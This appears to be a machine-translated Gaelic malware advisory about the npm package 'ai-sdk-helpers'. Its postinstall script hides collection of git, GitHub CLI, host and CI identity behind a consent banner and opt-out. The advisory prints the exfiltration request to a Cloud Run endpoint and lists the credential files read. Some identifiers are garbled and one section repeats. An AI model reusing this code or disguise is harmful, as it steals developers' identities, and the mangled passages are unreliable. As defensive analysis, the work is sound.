ConsentMask Am pasgan npm a’ falach cruinneachadh dearbh-aithne an leasaiche

ConsentMask: Pasgan npm a bhios a’ caitheamh bratach cead telemetry thairis air buain dearbh-aithne luchd-leasachaidh

TL; DR

Pasgan npm singilte, luchd-cuideachaidh ai-sdk, ga thaisbeanadh fhèin mar inneal riochdachaidh airson SDK AI Vercel, a’ tabhann tracadh chosgaisean, cùl-taic solaraiche, agus luchd-cuideachaidh sruthadh.

Bidh an sgriobt aig àm an stàlaidh a’ fosgladh le bratach foillseachaidh snasta a’ toirt cunntas air breithneachadh gun urra, a’ gealltainn nach tèid còd tùsail, comharran no teisteanasan a thar-chuir, a’ toirt urram do DO_NOT_TRACK roghainn a-mach, agus ceangal ri duilleag poileasaidh telemeatraidh.

Bidh an aon sgriobt an uairsin a’ leughadh dearbh-aithne git an leasaiche, rèiteachadh GitHub CLI, ainm-aoigheachd an inneil, ainm-cleachdaiche an OS, eòlaire-obrach, agus solaraiche CI.

Thèid an dàta sin a phostadh mar JSON gu ceann-uidhe Google Cloud Run, a’ cruthachadh mì-cho-fhreagarrachd shoilleir eadar am poileasaidh telemeatraidh ainmichte agus na raointean a chaidh a chruinneachadh.

Chaidh am pasgan fhoillseachadh ann an dà dhreach fichead taobh a-staigh aon spreadhadh 83-diog, agus tha an sgriobt stàlaidh co-ionann byte-air-byte thar gach dreach a chaidh a chomharrachadh.

Seachd de na h-ochd dreachan air an ath-sgrùdadh leis an neach againn pipeline chaidh an sgòradh neo-chinnteach leis an t-seòrsaiche ML leis gu bheil stoidhle bratach-cead a’ leughadh mar theileaméadrachd dligheach.

Bidh sinn a’ seòrsachadh ai-sdk-helpers mar dhroch-rùnach stèidhichte air cruinneachadh agus fo-shìoladh dearbh-aithne an leasaiche aig àm an stàlaidh.

Cruaidheachd: àrd.

 Anatomi an stàlaidh

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

às dèidh an stàlaidh a’ ruith gu fèin-ghluasadach air stàlaich npm, mus tèid còd sanasachd sam bith a thoirt a-steach don phacaid. An sgriobt sgriobtaichean/postinstall.js 's ann far a bheil a h-uile giùlan aig àm an stàlaidh a' fuireach.

Bidh e a’ fosgladh le bloc bheachdan agus brath ruith-ùine sgrìobhte ann an clàr pròiseict stòr fosgailte a tha mothachail air prìobhaideachd:

>Nuair a stàlaicheas tu ai-sdk-helpers, bidh sinn a’ ruith sgrùdadh co-chòrdalachd àrainneachd luath agus ag aithris breithneachadh gun urra… Tha an dàta gu tur gun urra — bidh sinn a’ tional an àrd-ùrlar agad, dreach an Nòd, agus hash aon-shligheach den aithnichear inneil agad. Cha tèid còd tùsail, comharran no teisteanasan a thar-chuir a-riamh.

Bidh e eadhon a’ ceangal geata roghainn-a-mach obrachail, a’ chiad chòd so-ghnìomhaichte san fhaidhle:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

'S e a bhith a' cur a' gheata seo an toiseach a tha a' toirt air a' chòrr a bhith air a leughadh mar rud co-aontaichte: leasaiche a shuidhicheas `D_NOT_TRACK` a’ faicinn an stàladh deiseil gu sàmhach agus a’ crìochnachadh gu bheil am pasgan a’ toirt urram don chleachdadh. Tha an roghainn-dì-cheadachaidh urramach fìor. Is e an rud a tha e a’ toirt a-steach, dhaibhsan nach eil ga shuidheachadh, an cruinneachadh a tha air a mhìneachadh gu h-ìosal - chan e an “àrd-ùrlar, dreach Node, agus hash aon-shligheach” nas cumhainge a tha na h-ainmean fios a’ toirt seachad.

Fo a’ gheata sin, bidh an sgriobt a’ cruinneachadh luchd a tha a’ dol fada seachad air an tuairisgeul sin.

  • *Gdearbh-aithne. * rfuasgladhScmDearbh-aithne()` cinn `~.gitconfig`,`~.config/git/config`,agus am pròiseact làithreach `.e/rèiteachadh`,a’ dèanamh mion-sgrùdadh air an `[seir]` earrann, agus a’ tilleadh an rud a chaidh a rèiteachadh commit post-d. Mura toir faidhle rèiteachaidh post-d, bidh e a’ tilleadh chun an `GT_ÙGHDAIR_POSTAD-E,`GT_COMMITTER_POST-D`,agus `EAIL` caochladairean àrainneachd. Tha docstring os cionn na gnìomh a’ frèamadh an leughaidh mar dhòigh air “stàlaidhean a dhì-dhùblachadh thar innealan leis an aon neach (me laptop + CI)” - adhbhar ainmichte a dh’ fheumas comharraiche seasmhach gach leasaiche, a tha a commit solarachaidhean puist-d.
  • *Gcunntas tHub.* rfuasgladhGitHubIdentity()` cinn `~.config/gh/hosts.yml` agus `~.config/gh/hosts.yaml` am faidhle rèiteachaidh a sgrìobhas an GitHub CLI nuair a nì leasaiche dearbhadh — agus a bheir a-mach an `u le regexehm:` agus etinn:` raointean. Bidh am faidhle sin cuideachd a’ stòradh comharra OAuth GitHub; bidh regex an sgriobt ag amas gu sònraichte air na loidhnichean ainm-cleachdaiche agus post-d agus chan eil e a’ toirt a-mach an comharra. Mar sin tha tagradh “chan eil comharran… air an tar-chur a-riamh” a’ bhratach foillseachaidh fìor gu litearra airson an aon raoin sin fhad ‘s a thathar a’ leughadh agus a’ cur nan aithnichearan cunntais mun cuairt.
  • *Hlorgan-meòir st agus CI.* an sgriobt an uairsin a’ cruinneachadh `o.ainm-aoigheachd()`,`o.Fiosrachadh-cleachdaiche().ainm-cleachdaiche`,an dreach Node, an àrd-ùrlar agus an ailtireachd, `pocess.cwd()`,agus leubail solaraiche CI air fhuasgladh le bhith a’ sgrùdadh caochladairean àrainneachd airson ochd solaraichean (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, agus dà bhratach CI coitcheann). Tha an liosta solaraichean a’ leughadh mar chlàr-stuthan de far a bheil dùil aig an sgriobt a bhith air a ruith - sligean eadar-ghnìomhach agus togail fèin-ghluasadach. pipelines co-ionann.

Tha iad sin uile air an cruinneachadh ann an aon `dagnostics cuspair, leis na raointean gach leasaiche air an cruinneachadh fo `ieintiteas ey agus dàta an aoigh fo `ràm agus cteacsa eys, an uair sin air an sreathachadh agus air an tar-chur:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Thèid am freagairt a thilgeil air falbh agus thèid a h-uile mearachd a shlugadh — tha beachd ag ràdh “nach bu chòir do theilemeatraidh an stàladh a bhriseadh a-riamh.” Bidh ainm aoigheachd a’ cheann-uidhe a’ còdachadh seirbheis Google Cloud Run san `eròpa-iar1` roinn.

’S e am beàrn an sgeulachd. Tha am bratach ag ainmeachadh trì roinnean dàta — àrd-ùrlar, dreach an nóid, hash aithnichear-inneal. Bidh an luchd a’ cur fìor git an leasaiche. commit post-d, an ainm-cleachdaiche agus am post-d GitHub aca, ainm-aoigheachd an inneil aca agus ainm cunntais OS, slighe a’ phròiseict aca, agus an àrainneachd CI aca. Na raointean a chomharraicheas *prson agus na cunntasan aca* dìreach na raointean a tha air fhàgail a-mach às an fhoillseachadh.

Tha an README a’ neartachadh an fhrèamaidh bhon taobh eile. Tha an earrann “Telemetry” aige ag ath-aithris an tagraidh gun urra agus a’ ceangal am facal `D_NOT_TRACK` o `cnsoledonottrack.com`,an fhìor dhuilleag coimhearsnachd a chlàras a’ cho-chruinneachadh roghainn-a-mach — a’ gabhail iasad de phrìobhaideachd aithnichte standard gus am brath a leughadh mar rud àbhaisteach.

Loidhne-tìm

Is e seo lorg aon-phacaid le eachdraidh foillseachaidh glè ghoirid, glè dhlùth. Chan eil bogha iomairt ioma-sheachdaineach ri leantainn - chaidh an raon dreach gu lèir a phutadh aig astar inneil.

Cuin (UTC) tachartas
2026-06-03 20:31:20 A’ chiad dreach (0.1.0) air fhoillseachadh gu npm.
2026-06-03 20:31:20 – 20:32:43 Na 22 dreachan uile (0.1.0 tro 1.4.2) air fhoillseachadh ann an spreadhadh fèin-ghluasadach 83-diog.
2026-06-04 Ochd dreachan air an comharrachadh le comharran lorgaidh; tha mion-sgrùdadh làimhe a’ dearbhadh cruinneachadh agus toirt air falbh dearbh-aithne aig àm an stàlaidh. Bha am pasgan fhathast beò air npm aig àm an sgrùdaidh.

Tha an uinneag 83-diog thar 22 dreach brìghmhor na chomharradh giùlain fhèin: an fhàradh dreach (`01.0`,`01.1`,… `14.2`)a’ taisbeanadh uachdar pròiseict a tha air a chumail suas gu gnìomhach le eachdraidh sgaoilidh, air a thoirt gu buil ann an aon ruith sgriobta. Chan eil an sgriobt stàlaidh ag atharrachadh thairis air an fhàradh sin — faic gu h-ìosal.

Comharran co-rèiteachaidh

Tha an luchd-pàighidh aig àm an stàlaidh co-ionann air feadh an raoin dreachan foillsichte.ff` f `sripts/postinstall.js` eadar dreach `02.1 ` an dàrna dreach `14.2 ` chan eil eadar-dhealachaidhean sam bith air ais; is e aon lorgan-meòir stèidhichte a th’ anns a’ ghiùlan, chan e luchd a tha ag atharrachadh.

lìonra

Tha an uinneag 83-diog thar 22 dreach brìghmhor na chomharradh giùlain fhèin: an fhàradh dreach (`01.0`,`01.1`,… `14.2`)a’ taisbeanadh uachdar pròiseict a tha air a chumail suas gu gnìomhach le eachdraidh sgaoilidh, air a thoirt gu buil ann an aon ruith sgriobta. Chan eil an sgriobt stàlaidh ag atharrachadh thairis air an fhàradh sin — faic gu h-ìosal.

Comharran co-rèiteachaidh

Tha an luchd-pàighidh aig àm an stàlaidh co-ionann air feadh an raoin dreachan foillsichte.ff` f `sripts/postinstall.js` eadar dreach `02.1 ` an dàrna dreach `14.2 ` chan eil eadar-dhealachaidhean sam bith air ais; is e aon lorgan-meòir stèidhichte a th’ anns a’ ghiùlan, chan e luchd a tha ag atharrachadh.

lìonra

comharra dreuchd
npm-package-logger-228835561205.europe-west1.run.app Ceann-uidhe às-shìolaidh a’ faighinn iarrtasan HTTPS POST le luchdan JSON. Air a chumail air Google Cloud Run anns an europe-west1 sgìre.

Bun-structar mealladh

comharra dreuchd
ai-sdk.guide Duilleag-dhachaigh a’ phacaid agus làrach-lìn beò a’ toirt taic do dhearbh-aithne ùghdair an “AI SDK Guide”.
ai-sdk.guide/telemetry URL poileasaidh teile-mheataireachd air a bheil iomradh anns an fhios foillseachaidh aig àm an stàlaidh.
hello@ai-sdk.guide Post-d an ùghdair air a dhearbhadh ann an package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Stòr-tasgaidh tùsail air a dhearbhadh leis a’ phacaid.

Faidhlichean air an leughadh aig àm an stàlaidh

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[seir]` d
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` CLI GitHuber` `etinn

Soidhnichean giùlain

  • – m`pstàlaich a’ gairm sgriobt Node pacaichte
  • – geata roghainn-a-mach (`A_SDK_CUIDEACHAIDHEAN_TELEMHEATAIR_AIR_CUIRTEACHADH`,`D_NOT_TRACK`)air a thaisbeanadh mar fheart prìobhaideachd, mus tèid dearbh-aithne a chruinneachadh
  • – POST HTTPS tbound de nì JSON anns a bheil post-d git, dearbh-aithne GitHub, ainm-aoigheachd, ainm-cleachdaiche OS, cwd, agus leubail CI
  • – sgriobt stàlaidh co-ionann thar fhàradh dreach a chaidh fhoillseachadh gu luath

 Cur às do Bhreith & Giùlan a chaidh fhaicinn
Chan eil sinn a’ cur dad às leth na tha am pasgan agus meata-dhàta a’ chlàir a’ clàradh.

Is e an cunntas `a an neach-gleidhidh chlàran npmielsimon`,leis an t-seòladh `aiel@vigilance.security`.Tha an clàr a’ liostadh a’ phuist-d sin mar neo-dhearbhaichte agus dearbh-aithne smachd-stòrais a’ chunntais mar neo-dhearbhaichte. Tha an `pckage.json`,air leth, a’ taisbeanadh an ùghdair mar “Stiùireadh SDK AI”ello@ai-sdk.guide>`”le duilleag-dhachaigh de `a-sdk.guide` agus stòr-tasgaidh stòrais fo `gbuidheann thub.com/ai-sdk-guide`. Àrainn puist-d a’ chunntais foillseachaidh (`vigilance.security`)agus dearbh-aithne an ùghdair sa phacaid (`a-sdk.guide`)tha iad nan raointean eadar-dhealaichte.

An `a-sdk.guide` Tha an ite beò agus a’ freagairt, agus an `/eileamaideachd bidh ath a’ fuasgladh — tha làthaireachd lìn ruigsinneach a’ toirt taic do dhearbh-aithne a’ mheallta seach ceangal marbh, a tha ag àrdachadh earbsachd frèamadh a’ phacaid.

**Comas air fhaicinn.** Aig àm an stàlaidh, bidh am pasgan a’ leughadh faidhlichean dearbh-aithne an leasaiche agus faidhlichean rèiteachaidh a’ chunntais, a’ gabhail lorgan-meòir bhon àrainneachd aoigheachd agus CI, agus a’ cur an toradh gu ceann-uidhe fo smachd an obraiche, fhad ’s a tha e a’ taisbeanadh brath a tha a’ toirt cunntas air seata dàta nas cumhainge agus nas gun urra. Tha sinn a’ toirt cunntas air a’ ghiùlan seo; chan eil sinn ag ràdh adhbhar air a shon. Bu chòir do luchd-leughaidh a tha a’ measadh a’ phacaid - a’ gabhail a-steach pàrtaidh sam bith a tha ag aithneachadh dearbh-aithne an fhoillseachaidh - an neo-cho-fhreagarrachd faicsinneach eadar na sruthan dàta ainmichte agus fìor a thomhas.

Buaidh, gluasadan, agus stiùireadh do luchd-dìon

Cò a tha fosgailte. Duine sam bith a stàlaicheas luchd-cuideachaidh ai-sdk — gu dìreach no mar eisimeileachd thar-ghluasadach — a’ ruith an cruinneachadh air an inneal sin. Leis gu bheil an inneal-brosnachaidh às dèidh an stàlaidh, chan fheum an còd leabharlainn a chaidh a shanasachadh a bhith air a thoirt a-steach a-riamh gus an tachair an sruthadh dàta; tha an stàladh leis fhèin gu leòr. Is e na h-àrainneachdan leis an luach as àirde stèiseanan-obrach luchd-leasachaidh le dearbh-aithne git rèiteichte agus CLI GitHub dearbhte, agus ruitheadairean CI, far a bheil lorg solaraiche CI an sgriobt a’ nochdadh gu bheil dùil gum bi an cruinneachadh a’ ruith taobh a-staigh togail. pipelinea bharrachd air coimpiutairean-uchd.

Na tha e a’ nochdadh. Chan e dìomhaireachdan tagraidh san fharsaingeachd — tha an luchd-pàighidh ag amas air dearbh-aithnean leasaiche commit post-d, ainm is post-d a’ chunntais GitHub aca, ainmean an inneil is a’ chunntais, agus slighe a’ phròiseict. ’S e sin ro-làimhcismapa de cò a stàlaich am pasgan, air dè an inneal, anns dè an stòras-dàta, agus fo dè an siostam CI. Airson buidheann, bhiodh dòrlach de chlàran mar sin còmhla a’ liostadh dè na h-innleadairean agus dè na siostaman togail a tharraing an eisimeileachd - feumail mar ro-ruithear gu gnìomhachd leanmhainn nas cuimsichte, eadhon ged a stadas giùlan a’ phacaid seo fhèin aig cruinneachadh agus tar-chur.

An gluasad: telemetry mar chòmhdach. Bidh innealan luchd-leasachaidh dligheach a’ tional breithneachadh stàlaidh gun urra, agus na gnàthasan airson a dhèanamh gu measail - brath foillseachaidh, a NA_TRAC_ urram, bratach roghainn-a-mach, URL poileasaidh — tha iad sin ainmeil. luchd-cuideachaidh ai-sdk a’ dèanamh ath-riochdachadh air na ceithir gnàthasan sin gu dìleas agus gan cleachdadh mar phasgan airson cruinneachadh dearbh-aithne. Chan eil làthaireachd bratach cead, roghainn-a-mach obrachail, no ceangal poileasaidh prìobhaideachd na fhianais gu bheil pasgan earbsach; tha na smachdan sin saor airson an atharrais. Is e an aon sgrùdadh earbsach dè a leughas an còd dha-rìribh agus càit a bheil e ga chur dha-rìribh.

Tha buaidh tomhaiste aig a’ phacaid seo cuideachd air triage fèin-ghluasadach. Thar nan dreachan againn pipeline air an ath-sgrùdadh, chaidh beachdan sìmplidh an sgriobt stàlaidh, ainmean raointean structaraichte, agus geata roghainn-a-mach àbhaisteach a sgòradh mar theileaméadrachd àbhaisteach: thàinig seachd de na h-ochd air ais mì-chinnteach bhon t-seòrsaichear ML seach droch-rùnach. Chan eil an comharra a tha a’ fuasgladh an neo-chinnt anns a’ phròs - tha e anns na faidhlichean sònraichte a dh’fhosglas an sgriobt (~/.gitconfig, ~/.config/gh/hosts.yml) agus an ceann-uidhe dhan tèid e. Thig ath-sgrùdaiche, fèin-ghluasadach no daonna, a leughas an fhoillseachadh agus a stadas an sin chun cho-dhùnadh ceàrr; feumaidh an co-dhùnadh tighinn bho fhìrinnean sruth-dàta.

Stiùireadh do luchd-dìon:

  • Stàlaich le sgriobtaichean air an cur à comas gu bunaiteach — stàladh npm –sgriobtaichean-leig seachad, no suidhich leig seachad-sgriobtaichean=fìor in .npmrc agus ruith ceumannan togail dearbhte gu soilleir. Bidh seo a’ neodachadh às dèidh an stàlaidh- cruinneachadh air a bhrosnachadh air feadh na bòrd.
  • Na làimhsich smachdan roghainn-a-mach mar chomharran earbsa. NA_TRAC_ Chan eil sgrùdadh no ceangal “poileasaidh telemeatraidh” ag innse dad dhut mun dàta a chruinnicheas sgriobt nuair nach eil an geata air a shuidheachadh.
  • Leugh an dubhan stàlaidh mus gabh thu ri pacaidean cuideachaidh eag-shiostam AI. Tha àite SDK AI Vercel na thargaid luath-ghluasadach, àrd-earbsa; a às dèidh an stàlaidh a tha a’ beantainn ~/.gitconfig or ~/.config/gh/ 'S e comharra soilleir a th' ann ge bith ciamar a tha na beachdan mun cuairt air an sgrìobhadh.
  • Sùil a chumail air fàgail aig àm togail. HTTPS POST a-mach rè stàlaich npm, gu h-àraidh gu ceann-uidhe gnìomh sgòthan a chaidh a sholarachadh às ùr, ri fhaicinn aig an ìre lìonra agus tha e na phuing lorg làidir airson àrainneachdan CI.
  • Coimhead airson àraidhean dreach teannaichte. Tha pasgan aig a bheil eachdraidh iomlan an dreach brìgheil a’ nochdadh taobh a-staigh diogan, le sgriobt stàlaidh gun atharrachadh, a’ taisbeanadh eachdraidh cumail suas saothraichte.
innealan-sca-bathar-bog-innealan-anailis-co-dhèanamh
Thoir prìomhachas do chunnartan bathar-bog, dèan cinnteach gu bheil iad air an rèiteachadh, agus dèan cinnteach gu bheil iad tèarainte
Faigh do Chunntas an-asgaidh.
Chan eil feum air cairt creideas.

Dèan cinnteach à leasachadh is lìbhrigeadh do bhathar-bog

le Sreath Thoraidhean Xygeni